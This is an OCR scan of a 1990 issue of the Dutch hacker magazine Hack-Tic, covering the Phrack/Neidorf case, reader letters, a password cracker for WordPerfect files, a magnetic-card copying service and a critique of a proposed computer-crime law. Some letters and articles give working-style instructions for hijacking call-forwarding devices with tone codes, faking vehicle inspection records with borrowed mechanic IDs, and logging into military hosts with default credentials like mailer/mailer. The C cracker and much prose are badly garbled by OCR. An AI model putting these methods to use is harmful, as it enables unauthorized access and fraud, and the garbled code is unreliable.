delijk waren voor het maspeuren van alle ge- 
sprekken In de gangen en WC's van hon ge- 
bouwen voor verwifzingen waar IMegale akti- 
viteiten. 

“Onder zulke wetten zouden alle openba 
re ontroetingsplaatsen gedwongen ophou- 
dente bestaan ca het recht om vrij té ontmoe- 
ten en vergaderen zou ook verdwijnen. Het 

gezonde verstand van deze redenering ls door 
de wetgever nog wiet op electronische omt. 
moetingspleatsen toegepast. Dit moet wor- 
den afgedwongen, of BBSen houden op te 
bestaan. 

    

“Op hetzelfde moment wit Ik The Polat 
blijven beheren met zo min mogelijk rlelco 

voor mijzelf, Daarom cen paar nicuwe richt- 
lijnen 

“Geen enkele gebruiker mag meer con 
openbaar af prive bericht posten zonder dad 
zjn naam en adres door mij afdoende zijn 
geverifieerd. De meeste gebruikers in Chica: 
go zijn al geverifieerd door het electronische 

telefoonboek systeem van INisois Bell. Dege- 
nen onder U die een validatie berichtje heb- 
ben ontvangen waarin staat dat Ik nog geen 
‘jd heb gehad om hun adres te verifieren 
zuilen moeten wachten totik tijd heb voor ze 
berichten kunnen posten. 
"Adressen van bulten de steat zijn nlet op 

bovenstaande maaier te controleren. De 
korte-termijn oplossing voor gebrwikers bui- 
ten het gebied rond Chicago ishet vinden van 
een ander oysteems dan The Polnt, 

"Een aantal van de geplande uitbreidin 
gen aan The Pelntzuflen niet gebeuren tot er 
duidelijkheid is in de Juridische skuatie. 
Voorlopig zullen er geen shel-access of file 
upload/downlosd mogelijkheden zijn 

"Mijn verontschuligingen voor dit nleu- 
we beleld, maar onder de huidige omstandig 
heden lijkt me een bezwaarschrift bijde fede- 
rale of staatoverheid fet best op zijn plaats.” 

Dezelfde beprekingen werden op andere 
grot systemen ingevoerd terwijl veel kleine 
hacker-BBSen in hun geheel verdwenen 
Sommigen in de hmcker-wereld zeggen dat dit 
maar een fase is en dat haeker-boards terug 
zullen komen en gebruikers weer vrij zullen 
kunnen praten zonder hua woorden of iden- 
titeit te moeten registreren. Maar het gevoel 
dateriets blijvend is veranderd blif kragen. 
Ben publicatie is moaddood gemaakt, Hon- 
derden, zoniet duizenden, ramen op verzend- 
lijsten zijn in beslag genomen en daar zal 
zeker nog onderzoek op volgen. De feiten in 
het SLL-verhaal zijn omwille van onwetend- 
heid en sersatiezucht misvormd weergege- 
ven. Mensen en organleatles die kontakt had- 
den met verdachten zijn no zelf ook verdacht. 
En in het hele land worden systeembeheer 
ders en -gebruikers bang om nog vrijvit te, 
spreken. De feten in ogenschouw genomen 
lijkt het geloof dat de demokratie zal zegevie- 
ren hopeloos naief. Tock moeten we hierin 
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blijven geloven. Vertrouwen op het systeem. 
Is cchter niet genoeg. 

‘Wetopen dat we op een goede dag om dit 
alles zullen kunnen lachen. Laten we oes op 
it moment echter op de felten concentreren 

‘en zorgen dat die op de voorgrond blijven. 
ser ingebroken In het 911-sysleem? Zo 
‘dan moct het hele verhaal naar buiten 

komen. Hoe kwamen de hackersbinmen? Wat 
was voor de hackers toegankelijk? Wat kon 
onze doen! Wat deden ze? Bk veiligheids 
lek dat ondhuld wordt moet eerst worden ge 
dicht. Als er nog meer zijn den moet bekend. 

worden waarom ze nognlet zijn gedicht. Kon- 
dende guten eerder worden gedicht en zo ja, 
waarom gebeurde dit dan niet? Als een 
hacker schade aan het systeem heeft aange- 
cht moet hijdaarvoorverantwoordingafieg- 
gen. Bijna ledere hacker schijnt het hlee mee 
eens te zijn. Wat is dan het probleem? Het Is, 
overduidelijk dater helemaal geen schade is. 
Eris alleen het gebruikelijke assortiment vel 
ligkeidslekdken die nooit worden gedicht. In 
het ontwerp van cen ysteem zo belangrijk als 
het 9liusysteem mogen geen slordigheden 

zitten. Dit aspekt van de hete zaak wordt over 
het hoofd gezien. De hackers de schuld geven 
omdat ze de lekken gevonden hebben is cen. 
andere manier om le zeggen dat de gaten niet 
‘ontdekt mogen worden. 

Onder geen enkele voorwaarde magen 
het disic-tijdschift Phrack of haar uitgevers 
gezien worden als criminelen. Elke goede 
publicatie legt zo na en dan de hand op doeu- 
merten die niet vooe het publiek bedoeld 
waren. Zo wordt nieuws gemaakt. Het mond- 
dood maken van Phrack is cen teken aan de 
wand voor wiigevers en redakteuren in het 
hele [and 

‘Tenslotte: De privacy van computerge- 
brulkers moet door de regering worden ge- 
respecteerd. Het is ironisch dak de hackers 

geportreiteerd worden als degenen de inbre- 
ken in eystenten, privepost ezen en onschul 
dige mensen lastigvallen. Het is wist de fede- 
rale overheid die het patent op deze metho- 
den schijnt te hebben, Wat deed de Secret 
Service met deze computersystemen? Waar 
hadden ze toegang toe? Wiens post lazen ze? 
Wie of wat lict dit toe? 
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Onderneem aktie 
Het ia gemakkelijk om je handen in de 

tucht goolenen te zeggen dat fohetnictzan 
kumt. Do felten zeggen dat we op cen kritiek 
moment inde geschiedenis zijn aangekomen. 
De uitkomst van dit alles bepaalt de trend, 
uiet alleen voor computergebruikers maar 

‘ook voor de vrije pert cn voor elke burger van 
de Verenigde Staten. We kunnen no niet toe- 
geven. 
Werealseren one dat weanelonze gelof- 

waardigheid vorfiezen ls we sammenzweerde 
rig overkomen. We hopen dat dit niet het 
geval Is omdat we geloven dat or echt een 

ing bestaat. Als men er in slaagt Phrack 
monddood te raken en haae redakteuren op 

alien voor het schrijven van cen artikel, 
zou 2600 eenvoudig de volgende kunaen 
En dat geldt ook voorandere publicatles. 

wiens bestaan stof doet opwaaien, Dit kut 
nen we niet laten gebeuren, 

In het vorleden hebben we mensen ge 
vraagd bepaalde dingen verder te verleken 
Vaak is het repuMaat merkbaar geweest. Nog, 

wooit was het zo belangrijk. Nu zwijgen bete- 
kent een sombere en donkere toekomst ac- 
cepteren. 

  

      

Neschrift HackTie: Inmiddels ie het 
Craig Neidosf / Pack proces achter de rug. 

Naeea paar dagen al besloot de aanklager dat 
vervolging wellicht nlet zo'n goed idee was. 
Het kan er lets mee te maken hebben gehad 
dat de verdediging aantoonde dat de 91files 
bij Bellcore voor $13, te koop wacen. 

Of dit reden Isomte lachen valt te bezien: 
Crnigheeft ns deze rechtzaak cen schold vaa 
$100.000 aan zijn advocaat. De aanklager kan 
dus eigenlijk nlet verllezen, Craig zou aktijd 
een enorme schald overhouden en de publ 
catie van Phrack Is waarschijnlijk voorgoed. 
gestaakt. Craig heaft wel duizend aanboden. 
gekregen om toch maar schuld te bekennen 
in rui voor sirafvermladering, In plaats daar- 
van heeft hij het risico genomen en daarvoor 
maghij niet gestraN worden: Stuurdollar-tra- 
vellerschegues aan het Neidorf Defense 
Fund, c/o Kalten, Muchin & Zaris, Alta: 
Sheldon Zenner, 525 West Monroe St #1600, 
Chicago, IL 60606-3693, USA. 

  

 



Hack-Tic 

Geachto Hack-Tic, 

Op 21 feb. 1990 heb ik f37,50 
overgeschreven op het gironummer 
van jullie bank o.v‚v, Jullie rekening- 
nummer. Helaas keb ik tot nu toe 
geen enkel nummer ontvangen. Hoe 
zitdar? 

Zo maar cen abonnee 
in cen straat 

ergens in Nederland 

Deze brief viel een tijdje geleden in 
‘onze bus. Wij konden de betaling van 

meneer na veel gezoek in onze bank- 
afschriften terugvinden als een ‘'over- 
schrijving eigen rekening’. Maar, dt 
was zijn eigen rekening helemaal nies, 
het was de onze. Wat blijkt: overschrij- 
ven op andermans rekening op het 
pastkantoor kost 2,50, maar over- 
schrijven op de eigen rekeningis gratis. 
Waarom zou je dus als rechugeaarde 
hacker niet doen alsof de Hack-Tic 
rekening je eigen rekening is? 

‘Bijvoorbeeld omdat wij dan geen 
omschrijving bij de betaling krijgen en 
dus geen idee hebben waar het geld 
vandaan kort. Het blijkt dat een groot 
deelvan onze abonees uit bovenmatig 
vindingrijke mensen bestaat met als 
gevolg: veel van dit soort grappen! Doe 
Jezelfeen toten betaal die extrariks als 
je op het postkantoor stort, want wij 
hebben al niet de best geoliede admi- 
nistratie en deze meneer kreeg zijn 
Hack-Tic dus een half jaar te laat. 

Lezerspost 

Hoi Phreaks, 

Eddie vroeg in het eerste nummer 
om informatie over de doorschakel- 
apparaten die de PFT verkoopt. 
Deze dingen worden ook door in- 
stallatiebureau's en dergelijke gele- 
verd zodat ze dus wijd verspreid 
staan. Om deze apparaten telofo- 
zisch op een ander nummer te pro- 
grammerenis het noodzakelijk dat je 
pieptoontjes op de uitgaande lijn van 
deze apparaten zet. 

De opbouw van deze toontjes is 
eigenlijk heel eenvoudig en iedercen 
inhet bezit van een computer of met 
een beetje verstand van electronica 
kan deze pieptoontjes zelf genere- 
ren. De cijfers van het nieuw in te 
programmeren mummer worden 
voorgesteld als pieptoontjes van 
1600 Hz. Ben 1 is 1 piepje, een 2 is 
twee piepjes, een negen is negen 
piepjes en cen nulis tien piepjes. De 
piepjes volgen elkaar op mel cen 
snelheid van ongeveer 10 piepjes per 
seconde met een een puls/pauze ver- 
houding van ongeveer 50%. Pauze's 
tussen kengetal en abonneenummer 
worden voorgesteld door een pauze 
tussen de piepjes van 800-1000 ms. 

Om nu cen doorkiezer te herpro- 
grammeren moet je eerst de uitgaan- 
de lijn opbellen, dan een delecijfori- 
ge code invoeren (probeer eens iets 
origineels zoals 123 o.i.d, de gemid- 
delde eigenaar van dit apparaat is 
niet zo origincel) en dan het nieuwe 
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(elefoonnummer met inachtname 
van de bovenstaande regels. Je kunt 
nu de verbinding vorbreken en de 
ingaande lijn bellen waarna je auto- 
mausch doorgeschakeld wordt naar 
het door jezelf gekazen nummer. 

Na het be8indigen van de verbin- 
dingkunje met cendummytelefoon- 
nummer de eigenaar op cen dwaal 
spoor brengen. De mogelijkheid van 
programmeren werkt echter alleen 
als deze optie in deze kiezers is inge- 
bouwd. 

Kijk wel uit: veel van deze appa- 
raten staan bij doktoren en andere 
hulpverlenende instanties dus laat 
deze zoals ze zijn. Veranderingen in 
deze kiezers zijn echt niet leuk en 
kunnen verstrekkende gevolgen 
hebben, dus wees gewaarschuwd. 
Piepertjes zijn vrij eenvoudig te ma- 
ken van een oude 'Blokker"telefoon 
en cen oscilatortje. Je kunt ze ook 
gewoon met de computer opwekken. 

  

Succes, Sluhk 

Haflo Techno alternatieven, 

Hier even een briefje van cen van 
jullie fans, Dr. Dope. Jullie zuilen de 
APK II wel kennen; hetis de regeling 
die zorgt dat arme studenten telkens 
opkasten gejaagd worden als ze pro- 
beren om weer een jaar auto te rij- 
den, De administratie achter de keu- 
ringen verloopt voor een groot deel 
geautomatiseerd. Hoe werkt dat 
dan? Simpel.   
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Als je een viditel terminalpro- 
gramma hebt bel je 06-7111. Je komt 
nuin de Telepad service van de PTT, 
Typ bij dienst RDCAPK of 
APKRDC met hoodletters en daar- 
na Of en je verbinding met het RAI 
DATA CENTRUM is opgezet. Er 
wordt nu onder andere gevraagd 
maar het Kl. nummer. Zoek daar- 
vaor eens een garage in de baurt op 
en kijk eens vol bewondering naar de 
terminal. Meestal hangt er wel cen 
briefje in de buurt waar cen nummer 
opstaat als KEO7F94 of KI 28 FE 91 
etc. Onthou de nummers cn voorna- 
men van de monteurs, want heel veel 
mensen hebben een slecht geheu- 
gen, maak daar ge(mis)bruik van. 

Nu nog even ergens cen sticker 
regelen en bij controle gewoon zeg 
gen dat je je keuringsrapport verge 
ten bent. Wordt je ergens geflitst dan 
worden de kentekens door de rijks- 
dienst voor het wegverkeer alleen 
met het zojuist beschreven compu- 
tersysteem vergeleken. 

Nog 1 ding: als er in beeld komt 
dat je een steckproef krijgt dan 
wordt het lastig, De computer wijst 
namelijk willekeurig cen aantal keu- 
ringen in den lande aan om eens wat 
beter te bekijken. Een ambtenaar 
van de RDW gaat dan naar de gara- 
ge van wie jij de nummers hebt ge- 
leend op zoek naar JOUW auto. Wat 

er dan gebeurd is mij onbekend maar 
dat er heibel komt lijkt me zeker. 
Advies? Gewoon dom houden dan 
kom je er wel onderuit (hoop ik). 

 



Milnet (military network) 

of 

twat we nu toch weer in 

Het volgende artikel werd ons 
anonlem toegezonden. 

Milnet ís een netwerk van zmilit 
te computers rond de wereld, Het is 
een dec! van het wereldwijde 'inter- 
net” netwerk waarop ook allerlei 
dere instellingen zijn aangesloten 
(onder andere veel uiúversiteiten). 
Als je op een UNIX systeem zit dat 
op het internct is aangesloten dan 
kun je met het ’telnet’ commando 
doorschakelen naar andere syste- 
men op het intecnet (en dus ook op 
het milnet!). 

In Nedestand hangen onder an- 
dere de universiteiten UvA, VU, 
TUE, KUN, TUD, RULT en EUR 
aan het internet. Als je toegang hebt 
tot een UNIX van één van deze uni- 
versiteiten die aan het netwerk hangt 
dan kun je vaak met ‘telnet <nom- 
mer[hostnaam>* kontakt krijgen 
met dit systeem. Het is slim om dit 
via cen andere computer te doen zo- 
dat het voor de heren aan de andere 
kant iets meer werk is om je tcrugte 

vinden, anders ben je je account snel 
kwijt. 

Het adres van een systeem is als 
volgt opgebouwd: eerst de naam van 
hetsysteem zelf, dan een punten dan 
de ‘domeinen’ waarin het valt, het 
kleinste eerst. De marine heeft bij- 
voorbeeld haar eigen domein ’navy’. 
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onze postbus vonden’ 

De laatste naam is het topdomcin, in 
dit geval bijna altijd *mif, voor mili- 
tary. Als cr achter cen nummer twee 
namen staan dan is de tweede de 
nickname”: het systeem is ook onder 
die naam bekend. 

‘We zullen je alvast lekker maken 
met een kleine greep uit de afkortin- 
gen die in de lijst voorkomen. 

dea _ defense communications 
agency 

ddn__ defense data metwork 
dla __ defense logistics agency 
af airforce 
nel____navy rescarch laboratories 
afc __ air force logistics command 
brl__balistics research laboratory 
pacom pacific command 
afwd__ air force weapon laboratories 
arpa _ advanced rescarch projects 

agency 

Ok, je zit op het internet, je kunt 
met deze hosts kontakt leggen. Het 
eerste wal je probeert is inloggen 
met standaardnamen. Een geede om. 
in dit verband uit te proberen is de 
gebruikersnaam (login) ‘mailer’ met 
als wachtwoord aok weer ’mailer’. 
Veel succes en pas cen beetje op 
jezelf. 
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Breekijzer voor WordPerfect 

WordPerfect, de Big Brother der 
tekstverwerkers, heeft cen optie om 
les locked” weg te schrijven op 
dlsk. De gebruiker (ikt cen wacht- 
woord en de tekst Is dan alike nog 
met dat wachtwoord leesbaar. Ten- 
zij. 
Een anonieme Hack-Tic aboance 

schreef het volgende prograrama om 
het wacktwoord voor dit soort files 
te achterhalen. Het programma 
vindt binnen cen paar seconden niet 
alleen het meest waarschijnlijke 
wachtwoord, maar het geeft ook de 
kans dat dit het goede wachtwoord 
is, Bij erg korte tekstiles is dit per- 
centage soms erg laag, maar kwam 

  

  

Decoder tor 

  

  

  

#include <stato.n> 
include <allos 
tinclude <fentl.h> 
define TRUE 1 
define FALSE 0 
tdefíno Henten 640 
{define MaxPillen 630 
tdafine HaxPassLen 20 
char tHeptr =BVELE 
int £llelength, handler 
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het bij onze testen toch altijd met het 
goede wachtwoord. 

Het is triest dat een zo wijd ver- 
breid programmaals WP zo’n simpel 
“coderingsalgoritme' gebruikt, ter- 
wijl veel betere algoritmen voorhan- 
den zijn, Misschien willen ze wel he- 
lemaal niet dat Jan en Alleman hum 
files onleesbaar kunnen maken, 
Mensen die echt iets willen versleu- 
teten kunnen op zoek gaan naar PC- 
DES, cen in de BRD geschreven im- 
plementatie van het DES coderings- 
algoritme (dat officieel van 'stratc- 

gisch belang’ is en dus de VS niet uit 
mag). 

  

  

  

‘Wij zijn ALTIJD op zoek near| 
dit soort programma's: klein maar 
fijn. Heb je its leuks dan kun je het 
opsturen naar onze postbus (liefst 
op _ IBM/Atari/Amiga/Archime- 
des/Mac 3,5'/5.25/8" floppy én op 
papier). Ook standaard-tapes tot 
6400 BPL zijn geen probleem. 

  

     



void Endta) 
char +; 

print£(e)1 
olose{haadle); 
1f (Honetr) free{nonetr) 
enit(1jr 

void LoadELle(name) 
char *namer 

AE (thandlexopen{nans,O_RDONLY | O_BINARY) j==-1) 
End(“\nönable to open file: \n“)t 

1E ((HenPtrsmalloe (Menten) }==NULL) 
End("\nznauffiolent memory, \n“}, 

£älelength = read(handle,MenPtr,MaxP 1 llen); 
print£{“4d bytes read from input file.\n',£Alelength): 
elose (handle); 

  

struct tdtype 
t 

char Lens 
char idelem[3}: 

H 

void checkFLle{) 
{ 

struct 1dtypa *1d, coded; 
tde{atruct Ldtype *)MenPtr, 
Af ({id->{dnr) I= «ij 

1E ((ld->iderem) 1="WEC") 
End{=thie is not a HP codeflle.\n*); 

  

  

> 

void prtprob (prob) 
teng prob; 
{ 

long a;bi 
a=prob/1007 
beprab-(a*200)1 
print£{*83d.*,ajr 
At [b<io) 

prántt("oBid 84*,b)r 
else 

pránt£("&2d 48-,b}4 
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typadef unsigned Long UIOMG; 
typedef unsigned int UWORD; 
typedef uneigned char UBITE; 

void crackFile() 
‘ 

verre edataptr, ch,maxch; 
Uzona len, offast,aum,maxsun, total=0s 
VLOMG 1,pos, paselen,bestlength, letter, block, maxbloake) 
VroRg maxoce) 
vrowG MaxProb, Prob=100,LenProb=100) 
VBYTE PansWord{ 12017 
UevrE Roy[128)) 
ULONG Probe 126): 
vuoRD Oce 25637 
dataptr = Hom@tr + 161 
den = £Ltelongth — 167 

   

  print£{“\ndata length: td bytes. \n“, len); 
maxsuw=0) 
tor (passlensss (passlon<ttaxPaselen) ; passlen++)     
‘ 

eun=0 
printf{“Considering possible password Length: $3d\015“,passlen): 
for (letter=0} letter < pi 
t 

  

len; letter) 

maxoce=0; maxch=0j maxblocke=d; 
for (1-07 1256) Let) Ocol 11-07 
poszletters 
for (block=0s (posmblocktpa 
‘ 

   

    

en+detter) <len) blockt+) 

maxblooks++1 
*(dataptr + poe) )*(UBITE) (pan+passlen+1), 

Af (#+oco{ch] >= maxoce) 
4 

  

maxocet+: 
maxchecht 

) 
> 
PassNord{ letter jemaxch) 
Af (manbloeks 1= 0) 

Probs[ 1etter|=(10000*maxooo-10000*: 
else 

Probs{ letter)=0j 
eumt=maxoco) 

» 
Ar {som >= maxsun) 
€ 

bastlengthepaaslen; 
maxsun=sun; 
Prob=100001 
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Kor (1e0 A<pasnmlen; 144) 
‘ 

Key[ij=passtord{ 11, 
Prob=(Prob*Proba[L}}/10000: 

} 
Key[passlen)=0r 

x 
totaltesun; 

x 
LenProb=(maxsum*10900-10000*tota /Nax?: 
print£{"\n\nBatinate of password length 

    

length): 
printf{“corraot passvord length probability + *)1 
prtprob({LenProb) 1 
peintt{"\ncorroct ps 
prtprob{Prob) ; 

word letter probability « "}) 

  

printt{“\nCorrect password probability en 
prtprob(Proh*Lenerob/10000), 
print£(”\nost probable psesword In HEX en 
for {1=0s i<boatlength; i++) 

AE (Key[£]<16) 
printf{“0&ax *‚Koyld1): 

  

  

else 
printf("92K “,Keylil): 

> 
printf(”\nMost probable password in ASCIX tp 

for (A=0} i<bentlength; 14+) 

t 
AE ({Key[i] >= * *) && (Koyl1}<127)) 

print£("Ac",Koy( Li): 
else En 

print (”=")1 De versie die wij hebben getest 
» komt uit de Furbo-C (tm) compiler 

» van Borland. Werkt gegarandeerd 
alleen voor files van WP 5.0 en 5.1 

matntarge,arge) (en straks ook 5.2 7). 
Int argar 
ohar *aïgv{ls 

‘ 
Af (argol=2) 

End{"FORNAT: @s Filename\n",argv[0l)s 
LoadL1e{argv[ 1} 
CheckFile(}; 
CrackFile(); 
End{"\n\nok.*): 

» 
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Hack-Tic à la carte 

In nummer 8 gaven we je een maa- 
nler om zelf een magneetkaartlezer 
/ schrijver en een magneelkaartco- 

pler te bouwen. In nummer 9/10 ver- 
telden we Je hoe de codering van de 
tracks In elkaar zat. Voor de mensen 
die niet de hardwarekennls hebben 
om dat allemaal zelf In elkaar te 
zetten komen we nu met onze dende- 
rende flnale: de Hack-Tic kepleer- 
service voor magneetkaarten, 

Als je data op je harddisk hebt 
staan wil je daar natuurlijk een back- 
up van hebben. Data op de magnecet- , 
kaart kon je tot nu toe echter niet 
kopiëren. Als de data op jouw mag- 
neetkaart geschreven is op de door 

de ISO (International Standards Or- 
ganisation) vastgelegde track 1, 2 of 
3 (of een combinatie daarvan) dan 
kunnen wij je kaart kopiëren. De 
meeste magneetkaarten in het dage- 
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lijks verkeer hebben hun gegevens 
op één of meer van deze tracks staan, 

Denk eens aan het gemak: nooit 
meer door de hele burocratische 
molenomdat het origineel gedemag- 
netiseerd werd, nooit meer de origi- 
nele kantinckaart onder de koffie. 
Vanaf nu werk je alleen nog maar 
met de door Hack-Tic verstrekte ko- 
pie. 
PIN-codes van de diverse kaarten 

die in het betalingsverkeer gebruikt 
worden staan NIET op de magncct- 
strip. Een gekopieerde kaart wordt 
door de uitlezende apparatuur ge- 
zien ats het origineel, je kunt dus onk. 
NIET twee keer zoveel geld per dag 
opnemen. Veel kartonnen kaartjes 
(zoals de OCE-copycard) gebruiken 
NIET de standaard tracks. 

Hoe werkt het? 

Iedereen dle aan ons een envelop 
opstuurt met daarin: 

© cen briefje met zijn/ha. 
© de le kopieeren kaartjes 
e f15,- voor de eerste en f10,- voor 

elke volgende kaart 
Krijgt per post een envelop roet: 

© De oorsponkelijke kaart 
e Een kopie van die kaart op cen 

Hack-Tic à la Carte Magnect- 
kaart 

adres 
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© Eenetiket achteropdekopie met © Als jc de eavelop aantekent en 
daarop wat er precies op de drie fS,- extra insluit sturen we de 
ISO-tracks staat. Met deze infor- kaart ook weer aangetekend te- 
matie kun jo bij Hack-Tic cen rug. 

nieuwe kaart bestellen ® Bovenstaande prijzen gelden 
voor de Benelux. Kaarten vanuit 

Verdere regels: het buitenland kosten f20,- als wij 
@ Als de kopie op de een of andere per luchtpost moeten versturen. 

manier niet werkt (bijvoorbeeld Een DM is voor ons f1,- en cen 
omdat de informatie niet op US dollar is f2,- (nee, we kunnen 
tracks 1, 2 of 3 stond) kunnen wij niet wisselen). 
daarvoor geen verantwoordelijk- © Voor eventuele overtredingen 
heid accepteren. van de copyright-wetgeving blijft 

® Voor het zoekraken van kaartjes de aanvrager verantwoordelijk, 
die niet aangetekend zijn, aan- 
vaarden wij geen verantwoorde- 
lijkheid.    

25 Hack-Tic #11-12/1990



Een kritische kijk op het 

Wetsvoorstel Computercriminaliteit 

Daor Paul 

Zoals iedereen zo langzamer- 
hand wel weet doet het ministerie 

van justitie: al geruime lijd verwoede 
pogingen om het wetsvoorstel com- 
putercriminaliteit door de tweede 
‘karaer te krijgen. Wanneer het voor- 
stel nu uiteindelijk wordt behandeld 
ismoeilijk te zeggen, want het isweer 

eens vertraagd. Wat betreft het over- 
schrijden van deadlines zijn we hier 
op de redactie echte cracks en als de 
kamerleden maar half zo traag zijn 
als wij kan behandeling nog wel even. 
duren, Toch leek ons de tijd geko- 
men om ook ons licht eens over de 
voorgestelde wetgeving te laten 
schijnen. 

We bespreken do voorgeslelde 
wetten die van belang zijn ar 
voor artikel. Een groot aantal me 
gingen behelste alleen maar het ver- 
anderen van de woorden telefonie. 
naar telecommunicatie en ecn nieu- 
we definitie voor informatie en gege- 
vens. We geven niet overal de letter. 

e wetstekst, maar meer een soort 
vrije interpretatie van wat het kabi- 
net precies met deze wetgeving van 
plan isen eventueel hoe wij tegen die 
wijziging aankijken. 

Een kort woord van waarschu- 
wing: hoewel we ons redelijk hebben 
laten voorlichten, zijn we beslist geen 
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en Rop 

juristen. Verder hangt cen hoop af 
van de eventuele interpretatie van 
deze voorgestelde wetten. Dit is niet 

bedoeld als handiciding voor de doc- 
het-zelf advokaat maar meer als een 
poging om oen beeld te geven van 
wat er onder de voorgestelde wetge- 
ving wel en niet kan. Verder bete- 
kent het dat als iets onder de nieuwe 
wetgeving strafbaar wordt niet dat 

dat niet nu ook al bestraft zou kun- 
nen worden onder de bestaande wet- 
geving! 

Allereerst de wijzigingen in het 
wetboek van strafrecht. Voor de 
leek: dit wetboek beschrijft wat voor 
de wet strafbaar is en welke maxi- 
mumstraffen er gelden als de wet 
wordt overtreden. 

Artikel 98 / 98a / 98b 
jn wetsartikelen die spiona- 

ge betreffen, In deze artikelen wordt 
het woord "gegeven" vervangen door 
“inlichting, voorwerp of gegeven’, In 
de memorie van toelichting schrijft 
de münister onder meer: "Door de 
toevoeging van het woord “gegevens" 
in de zin van dit wetsvoorstel, wordt 
tevens strafbaar het ter beschikking 
stellen van compulerprogramma- 
tuur aan onbevoegden waarvan de 

 



geheimhouding door het belang van 
de staat of van zijn bondgenoten 
wordt geboden” 

Artikel 138a 
1. Hij die wederrechtelijk binnen- 
dringt In een daartegen beveliigd 
geautomatiseerd werk voor de op- 
slag of verwerking van gegevens, 
of In een daartegen beveliigd deel 
daarvan, wordt gestraft met een 
gevangenisstraf van ten hoogste 
drle maanden of geldboete van de 
tweede categorle. 

2. HIj die zich toegang heeft ver- 
schaft door middel van het aanne- 
men van een vafse hoedanigheid, 
stige kunstgrepen of een valse 
steutel, wordt geacht te zijn bin- 
nengedrongen. 

Dit artikel sluit aan bij Art, 138, 
het bestaande huisvredebreuk-arti- 
kel. De minister heeft het in zijn me- 
morie van toelichting dan ook over 
‘computervredebreuk’, In de memo- 
rie wordt gespoken over 5 verschil- 
tende niveaus van computerbeveili- 
ging: 
® Absolute beveiliging: “Onmoge- 

ijk. Indien voldoende vernuft, tijd 
en middelen worden ingezet, 
blijkt steeds weer dat in ontoe- 
gankelijk geachte computersyste- 
men kan worden ingebroken. Dit 
betekent ook dat een inbraak niet 
een aanwijzing vormt dat er spra- 
ke zou zijn van onvoldoende be- 
veiliging" 

© Maximale beveiliging: "betekent 
dat alle op een bepaald moment 

beschikbare technische mogelijk- 
heden tot bevelliging zijn aange- 
wend. Uitgaande van de gedachte 
dat het onzinnig is een gulden te 
beveiligen met een rijksdaalder, 
kan maximale beveliging in rede- 
lijkheid niet worden gevergd.” 

® Adequate beveiliging: ‘van ade- 
quate beveiliging is sprake wan- 
neer er een evenwicht is tussen 
het te beveiligen belang en de 
mate waarin beveiligingsmaatre- 
gelen zijn aangebracht.” 

© Minimale beveiliging: "Dit bete- 
kent dat indien het slachtoffer van 
een computerinbraak kan aanto- 
zen dat er sprake was van enige 
reële beveiliging, dit voldoende 
is, 

e Pro forma beveiliging: "Beveili- 
ging die geen daadwerkelijke be- 
veiliging is, doch stechts is aange- 
bracht met het oog op bijvoor- 
beeld het ontstaan van strafbaar- 
heid van ‘hackers”. 

  

   

Het doorbreken van een minima- 
te beveiliging is dus al voldoende om 
strafbaar te zijn, De minister schrijft: 
"Dit onderdeel van de voorstellen 
van de commissie-Franken heeft 
veel reacties opgeroepen. Zo is de 

vraag gerezen welke mate van bevei- 
liging wordt verlangd, voordat aan 
de eis van strafbaarheid is voldaan. 
In dat verband is erop gewezen dal 
slachtoffers van computercrimiaali 
teit weinig geneigd zuilen zijn aangif- 
te te doen bij de justitie, indien dat 
tot gevolg heeft dat de wijze van be- 
veiliging in een openbare zitting van 
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de rechtbank door de verdedigiag 
‘zou kunnen worden bekritiseerd,” 

De minister wil de bedrijven dus 
de vernedering vaa een publieke 
analyse van hun systeembeveiliging 
besparen. Of toch niet? Even verde- 
rop schrijft hij: “Wat als minimale 

iliging moet worden aange- 
is geen statisch, cons en voor 

altijd vast te stellen gegeven. Het in- 
breken in een geautomatiseerd werk 
en het beveiligen van gegevens ma- 
ken deel uit van cen voortdurende 
electronische oorlogsvoering, Wat 
bij een bepaalde stand van de tech- 
niek als een adquate techniek kan 
worden gezien, is dat bij een verdere 
ontwikkeling nict meer. Zo kan ook 
een beveiliging die op enig maraent 
nog wel als minimaal kan worden 
aangemerkt, ma verloop van tijd zo 
achterhaald zijn, dat deze niet meer 
als reëel vak aan te merken,” 

Hier impliceert de minister dus 
dat beveiligingen wel degelijk onder- 
deel vaa de discussie in de rechtszaal 
worden. Op zijn minst blijft het wat 
dit betreft afwachten hoe de rechters 
een en ander gaan interpreteren. 
Over het algemeen lijkt de compu- 
terwereld het er over eens dat bij- 
voorbeeld het kraken van systemen 
met ecn _standaard-wachtwoord 
{door de fabrick in de software ge- 
zet) onder de nieuwe wet WEL straf- 
baar wordt. 

Na het uitkomen van het rapport 
Franken wasde algemene kritiek dat 
wetgeving geen computerbeveiliging 
moch vervangen, Het is nu duidelijk 
dat de minister deze kritiek niet 
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heeft meegenomen in zijn uiteinde- 
lijke wetsvoorstel: minimale bevei 
ging hoeft in de woorden van de mi- 
nister zelf niet bijster veel om het lijf 
te hebben, Juist omdat aan uiterst 
glecht beveiligde systemen wettelijke 
bescherming wordt gegeven wordt 
de eerlijke hobbyist de mogelijkheid 
ontnomen om de vinger aan de pols 
te leggen. Om ook eens in mooie 
metaforen te spreken: de minister 
wildat er cen slot op de deur van de 
computer zit, maar als de cigeaaar 
een touwtje door de brievenbus 
hangt is het verboden om er aan te 
trekken. 

Verder is wellicht de strafmaat 
een tikje hoog: als je in de kantine 
van cen universiteit een broodie ect 
zonder collegekaart den gebruik je 
de faciliteiten van de univer 
zonder dat je er recht op hebt. Dit- 
zelfde geldt voor het gebruiken van 
openbare _ universiteitscomputers 
zonder toestemming, Het verschil ìs 
dat de 'straf in het eerste geval in 
hooguit bestaat uit verwijdering uit 
de kantine. Als het om een universi 
teitscomputer gaat zou daar ineens 
een maximumstraf van 3 maanden 
op staan. Inbraak ín een computer- 
systeem zonder schade aan te rich- 
ten en zonder financieel oogmerk af 
gewin is op zijn ergst vergelijkbaar 
met belletje trek. 

Het meest bezwaarlijke aan dit 
nieuwe artikel 138a is wellicht dat de 
discussie over computerveiligheid 
wordt bemoeilijkt. Als het kraken 
van een systeem met cen standaard- 
wachtwoord strafbaar wordt, hoe zit 

     



het dan met het publiceren van cen 
Hjstje met standaardwachtwoorden? 
Is dit "itlokking van een misdrijf? 
Zo ja, gaat er dan onderscheid ge 
maakt worden tussen publicaties aan 
verschillende zijden van het strijd- 
perk in deze ‘electronische oorlogs- 
voering’? Mogen het bedrijfsleven 
en de wetenschap straks meer zeg- 
gen dan hackers en andere hobbyis- 
ten? 

Artikel 139a 
Ben nieuw tweede Kid dat iwidt: 

